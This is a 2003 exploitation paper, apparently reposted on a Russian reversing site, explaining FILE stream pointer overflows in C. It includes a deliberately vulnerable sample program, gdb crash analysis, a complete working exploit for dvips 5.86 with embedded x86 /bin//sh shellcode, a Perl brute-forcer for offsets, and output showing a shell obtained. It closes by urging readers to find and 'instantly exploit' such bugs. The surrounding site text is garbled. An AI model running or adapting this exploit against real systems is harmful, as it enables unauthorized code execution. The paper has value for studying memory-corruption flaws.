DVD-ROM: eXeL@B DVD !
eXeL@B  !


2 !


>>
| | RAR-c | FAQ | | |
| | | | |

C ++



, - /C++ Windows. , Python - , . - . , .

File Stream Pointer Overflows Paper.

 

 

Author : killah <killah@hack.gr>

Release : 0.2

 

Sections:

1. Introduction

2. Example of insecure programming

3. Analysis of example vulnerability (dvips)

4. Theory behind the exploit

5. The exploit

6. Conclusions & Notes

 

 

[1]. Introduction

 

 

Although FILE Stream pointer overflows are as ancient as buffer overflows, i never seen a paper

about them. I guess that is because, FILE Stream pointer overflows are not so commonly met in the

real-life as typical buffer overflows.

This paper is about how to get to abuse these types of overflows, so as to get them execute

arbitary code. So, here i will use an example FILE Stream pointer overflow that i found in dvips

& odvips non-security critical applications, so as to demonstrate you the way to come around

to those types of overflows.

 

 

[2]. Example of insecure programming that can lead to a FILE Stream Pointer overflow.

 

 

Many combinations of insecure or incorrect coding can lead to a FILE Stream Pointer Overflow.

Some obvious combinations could be functions like : strcpy(),strcat(),read(),.... interacting

with functions like : vfprintf(),fprintf(),fputc(),fputs().

Here is a sample piece of FILE stream pointer overflow vulnerable code, in C programming language.

 

-----------fsp_vuln.c-----------------------------------

/*

* file stream pointer overflow vulnerable program.c

* -killah

*/

#include <stdio.h>

#include <string.h>

 

int main(int argc,char **argv)

{

FILE *test;

char msg[]="no segfault yet\n";

char stage[1024];

if(argc<2) {

printf("usage : %s <argument>\n",argv[0]);

exit(-1);

}

test=fopen("temp","a");

strcpy(stage,argv[1]);

fprintf(test,"%s",msg);

exit(0);

}

-----------fsp_vuln.c--------------------------------EOF

 

In this case, strcpy() would be overflowed and that will lead to a file stream pointer overwrite,

but let's have a closer look at it.

 

bash-2.05a$ cc -o fsp_vuln fsp_vuln.c

bash-2.05a$ ./fsp_vuln `perl -e 'print "A" x 1200'`

Segmentation fault (core dumped)

bash-2.05a$ gdb ./fsp_vuln core

GNU gdb 5.2

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-slackware-linux"...

Core was generated by `./fsp_vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 _IO_vfprintf (s=0x41414141, format=0x8048613 "%s", ap=0xbfffefbc) at vfprintf.c:270

270 vfprintf.c: No such file or directory.

in vfprintf.c

(gdb) bt

#0 _IO_vfprintf (s=0x41414141, format=0x8048613 "%s", ap=0xbfffefbc) at vfprintf.c:270

#1 0x4006f90a in fprintf (stream=0x41414141, format=0x8048613 "%s") at fprintf.c:32

#2 0x08048572 in main ()

#3 0x41414141 in ?? ()

Cannot access memory at address 0x41414141

(gdb) info reg

eax 0x41414141 1094795585

ecx 0x41414141 1094795585

edx 0x8048613 134514195

ebx 0x40138e58 1075023448

esp 0xbfffe974 0xbfffe974

ebp 0xbfffef7c 0xbfffef7c

esi 0x80485f5 134514165

edi 0x8048613 134514195

eip 0x400669d4 0x400669d4

 

Ok, i think that you got the picture, now let's try exploiting a bug of that type in

a real-world application just like dvips.

 

 

[3]. Analysis of example FILE Stream pointer overflow vulnerability found in dvips application.

 

 

bash-2.05a$ dvips `perl -e 'print "A" x 2024'`

This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)

dvips: ! DVI file can't be opened.

Segmentation fault (core dumped)

bash-2.05a$ cat ./gdb.sh

#!/bin/sh

gdb /usr/share/texmf/bin/dvips core

bash-2.05a$ ./gdb.sh

GNU gdb 5.2

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)...

Core was generated by dvips AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libm.so.6...done.

Loaded symbols for /lib/libm.so.6

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at vfprintf.c:270

270 vfprintf.c: No such file or directory.

in vfprintf.c

(gdb) bt

#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00)

at vfprintf.c:270

#1 0x4009190a in fprintf (stream=0x41414141, format=0x8069822 "\n")

at fprintf.c:32

#2 0x0805337f in error ()

#3 0x0804dd07 in strcpy () at ../sysdeps/generic/strcpy.c:31

#4 0x0804dd25 in error ()

#5 0x0804f522 in error ()

#6 0x4005617d in __libc_start_main (main=0x804e0f4 <error+988>, argc=2,

ubp_av=0xbffff104, init=0x8048e98, fini=0x80668a8 <error+101264>,

rtld_fini=0x4000a534 <_dl_fini>, stack_end=0xbffff0fc)

at ../sysdeps/generic/libc-start.c:129

 

Using the backtrace we can see that all frames existing in the core file, are known

functions, and EIP never got overwritten.

But, let's see what registers say in frame 0.

 

(gdb) info reg

eax 0x41414141 1094795585 <- EAX got overwritten with out input

ecx 0x41414141 1094795585 <- same thing here for ECX

edx 0x8069822 134649890 <- format=0x8069822

ebx 0x4015ae58 1075162712

esp 0xbfffe8c8 0xbfffe8c8

ebp 0xbfffeed0 0xbfffeed0

esi 0x8068c01 134646785

edi 0x8069822 134649890 <- format here too.

eip 0x400889d4 0x400889d4

 

It seems that the EBP/EIP registers are not overwritten with our input so we have to

find a way of tricking them thinking that they're pointing to a valid location.

So, what we have here is a FILE Stream Pointer overflow since s=0x41414141 got overwritten with

our input.

That means that if we had overwritten File stream pointer with a valid FILE stream structure address,

we would had achived to get some more info, and validate the condition, but let's see.

(gdb) x/a stdout

0x40158200 <_IO_2_1_stdout_>: 0xfbad2084

The address of the stdout file stream structure is : 0x40158200, but it would be a pain cause of

the nulls, so let's look at the stderr address.

(gdb) x/a stderr

0x40158380 <_IO_2_1_stderr_>: 0xfbad2887

that's fine we're gonna use this one since no nulls existing in stderr's file stream structure's address.

So let's test it out.

bash-2.05a$ dvips perl -e 'print "\x80\x83\x15\x40" x 2024'

This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)

dvips: ! DVI file can't be opened.

userdict /end-hook known{end-hook}if

SafetyEnclosure restore

what a surprise, no segmentation fault and different output, so it really worked,

without even having to align stderr's FILE Stream addresses.

 

So, how will we get advantage of this situation in order to execute arbitary code !?

In these cases the best solution is to follow the execution flaw of the application,

and see where you can abuse it.

Hmm, so let's crash the dvips again and have a look at the stderr's FILE Stream structure.

bash-2.05a$ dvips `perl -e 'print "A" x 2024'`

This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)

dvips: ! DVI file can't be opened.

Segmentation fault (core dumped)

bash-2.05a$ ./gdb.sh

GNU gdb 5.2

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-slackware-linux"...(no debugging symbols found)...

Core was generated by dvips AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

Program terminated with signal 11, Segmentation fault.

Reading symbols from /lib/libm.so.6...done.

Loaded symbols for /lib/libm.so.6

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

#0 _IO_vfprintf (s=0x41414141, format=0x8069822 "\n", ap=0xbfffef00) at vfprintf.c:270

270 vfprintf.c: No such file or directory.

in vfprintf.c

(gdb) x/40x stderr

0x40158380 <_IO_2_1_stderr_>: 0xfbad2887 0x401583c7 0x401583c7 0x401583c7

0x40158390 <_IO_2_1_stderr_+16>: 0x401583c7 0x401583c7 0x401583c7 0x401583c7

0x401583a0 <_IO_2_1_stderr_+32>: 0x401583c8 0x00000000 0x00000000 0x00000000

0x401583b0 <_IO_2_1_stderr_+48>: 0x00000000 0x40158200 0x00000002 0x00000000

0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0a000000 0x40158298 0xffffffff

0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x00000000 0x401582c0 0xffffffff

0x401583e0 <_IO_2_1_stderr_+96>: 0x00000000 0x00000000 0x00000000 0x00000000

0x401583f0 <_IO_2_1_stderr_+112>: 0x00000000 0x00000000 0x00000000 0x00000000

0x40158400 <_IO_2_1_stderr_+128>: 0x00000000 0x00000000 0x00000000 0x00000000

0x40158410 <_IO_2_1_stderr_+144>: 0x00000000 0x40157f20 0x40158380 0x00000000

Nice, now we can see the structure and can get her lenght for later use.

(gdb) p /d (0x40158420 - 0x40158380)

$1 = 160

 

But let's see the really important part now, are there(inside the structure) any jump addresses ?

So let's have a look...

(gdb) x/40a stderr*

0x40158380 <_IO_2_1_stderr_>: 0xfbad2086 0x0 0x0 0x0

0x40158390 <_IO_2_1_stderr_+16>: 0x0 0x0 0x0 0x0

0x401583a0 <_IO_2_1_stderr_+32>: 0x0 0x0 0x0 0x0

0x401583b0 <_IO_2_1_stderr_+48>: 0x0 0x40158200 <_IO_2_1_stdout_> 0x2 0x0

0x401583c0 <_IO_2_1_stderr_+64>: 0xffffffff 0x0 0x40158298 <_IO_stdfile_2_lock> 0xffffffff

0x401583d0 <_IO_2_1_stderr_+80>: 0xffffffff 0x0 0x401582c0 <_IO_wide_data_2> 0x0

0x401583e0 <_IO_2_1_stderr_+96>: 0x0 0x0 0x0 0x0

0x401583f0 <_IO_2_1_stderr_+112>: 0x0 0x0 0x0 0x0

0x40158400 <_IO_2_1_stderr_+128>: 0x0 0x0 0x0 0x0

0x40158410 <_IO_2_1_stderr_+144>: 0x0 0x40157f20 <_IO_file_jumps> 0x40158380 <_IO_2_1_stderr_>

 

BINGO!

Can you see the <_IO_file_jumps> ? this is a pointer to a jump-table. (do you know what does this really mean ? :))

 

[4]. Theory behind the Exploit

 

 

So, here's the plan, we have to create a fake FILE Stream structure with 160 bytes in size filled with

the addresses (of the jumptable) that will point to the shellcode that we want to execute.

 

So, our user input buffer should look like this :

this is the theory behind most FILE Stream overflows met in real life conditions.

 

 

......<bottom of the user input buffer>......

 

[1] { Fake FILE Stream Structure }

(Fake file stream structure is to be filled with the addresses,

of the fake jumptable which point to the shellcode.)

specs:

Size of the Fake FILE Stream Structure : 160Bytes.

Been filled with the Addresses pointing to location [2].

 

[2] { Fake jumptable }

(Is to be filled with the addresses, of where our shellcode is.

*since EIP is getting tricked in this step we make it

point to the shellcode location.)

 

[3] { Shellcode }

(Simple x86 linux execve assembly code of "/bin//sh" )

 

[0] { Addresses of the Fake FILE Stream Structure }

(In order to overwrite the File Stream Pointer, and make it point

to our fake FILE Stream Structure.)

 

......<end of the user input buffer>.........

 

 

As you can see this theory doesn't differ much from common buffer overflow exploits.

It's just uses 2 steps more for tricking the application thinking it uses a valid FILE Stream,

and finaly get EIP register tricked in step [2] and make it point to the shellcode.

 

Now, based to this theory let's try to construct the exploit so as to demonstrate that

it can be really done.

 

 

[5]. The exploit

 

 

Here is the sample FILE Stream overflow exploit, that affects dvips & odvips

aplications.

 

NOTE: this exploit could be much more robust and independent, but the

purpose here is just to show the simple and straight forward way of doing it.

 

NOTE: this process is taking place under Slackware Linux 8.1, so if you're making

the test under different distribution or even OS, there you should tweak some things

by yourself, but basicly that's all.

 

just look on the code, it should be very easy to understand.

-----------------------------dvips-ex.c------------------------------

/*

* FILE Stream overflow exploit for

* This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)

* --------------------------------------------------------------------------

*

* "As always exploitation should be an art..."

* version 0.3 much more automated.

*

* (c) 2k3 killah @ hack . gr

*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#define VERSION "0.3"

#define SIZE 3048

char shellcode[]= /* linux x86 execve of "/bin//sh" */

"\x31\xd2\x52\x68\x6e\x2f\x73\x68"

"\x68\x2f\x2f\x62\x69\x89\xe3\x52"

"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

int

main(int argc,char *argv[])

{

char buffer[4000];

int align,offset,pad,i;

long ffss_addr=0xbfffeecc, jmpaddr, shaddr;

if(argc!=4)

{

fprintf(stderr, " FILE Stream Overflow exploit for dvips ver%s\n"

"Usage : %s <align> <offset> <pad>\n"

"\tCopyright 2k3 killah @ hack . gr\n",VERSION,argv[0]);

exit(-1);

}

align=atoi(argv[1]);

offset=atoi(argv[2]);

pad=atoi(argv[3]);

 

ffss_addr += offset; // fake FILE Stream Structure Address

jmpaddr = (ffss_addr+160); // 40 times

shaddr = (jmpaddr+32); // 8 times

fprintf(stderr, " fake FILE Stream Structure Address : [0x%x]\n"

" Jump-Table Address\t\t : [0x%x]\n"

" Shellcode Address\t\t : [0x%x]\n"

" align = [%d] | offset = [%d] | pading = [%d]\n",ffss_addr,jmpaddr,shaddr,align,offset,pad);

/* align the buffer */

for(i=0; i<align; i++)

buffer[i]=0x42;

/* pad the buffer */

for(i=align; i<pad+align; i++)

buffer[i]=0x41;

/* create the ffss section (Fake File Stream Structure) */

for(i=pad+align; i<align+160; i+=4)

*(long *)&buffer[i]=jmpaddr;

/* making the fake jump table */

for(i=align+160; i<align+160+32; i+=4)

*(long *)&buffer[i]=shaddr;

/* copy the shellcode into the buffer */

memcpy(buffer+align+160+32,shellcode,strlen(shellcode));

 

/* fill the rest of the buffer with the fake FILE Stream Structure *

* addresses so as to be overwritten and start the whole proccess */

for(i=strlen(shellcode)+160+32+align; i<SIZE+align; i+=4)

*(long *)&buffer[i]=ffss_addr;

 

execl("/usr/share/texmf/bin/dvips", "dvips", buffer, NULL);

exit(0);

}

 

------------------------------dvips-ex.c-------------------------------EOF

 

For those that are bored using gdb each time for getting the

address of the fake FILE Stream structure, or the offset,

herein is a lame brute.pl script.

 

-------------------------brute.pl--------------------------

#!/usr/bin/perl

$MIN=-1000;

$MAX=1000;

while($MIN<$MAX)

{

printf(" offset : $MIN \n");

system("./dviex 0 $MIN 3");

$MIN++;

}

EOF----------------------brute.pl------------------------EOF

 

Okay let's do the pen-test now.

 

Whoa we found the fake FILE Stream Structure Address @ offset : -161

 

fake FILE Stream Structure Address : [0xbfffee2b]

Jump-Table Address : [0xbfffeecb]

Shellcode Address : [0xbfffeeeb]

align = [0] | offset = [-161] | pading = [3]

This is dvips(k) 5.86 Copyright 1999 Radical Eye Software (www.radicaleye.com)

dvips: ! DVI file can't be opened.

sh-2.05a$

 

shell speaks for me.

finally as it was excepted we did it :).

 

 

[6]. Conclusions & Notes

 

 

This paper written for those that haven't ever seen, heard or even didn't

know how to exploit a FILE Stream Pointer overflow, although every experienced

bug-hunter could do it. So, now feel free to spot bugs of that type and

instantly exploit them.

 

In any case i don't claim that this paper is a full resource concerning

FILE Stream Pointer overflows, and everything related to them.

 

So if you think that there are missing some important pieces or you want

to do some corrections or submit information based on your own research on

FILE Stream overflows, feel free to send me feedback.

 

Last but not least, i should thank zen-parse which introduced me the whole

idea, without him this paper haven't been. cheers to him.

 

 

Copyright (C) 2002-2003 <killah@hack.gr>

All rights reserved.

 

 

Changelog :

19-03-2003 : fsp-overflows.txt, second release added one section [2], corrected some terms, fixed layout.

31-01-2003 : fstream-overflows.txt, first release.



<<

<<




https://exelab.ru/pro/



 DVD-ROM: eXeL@B DVD !


EXELAB.rU
 ReactOS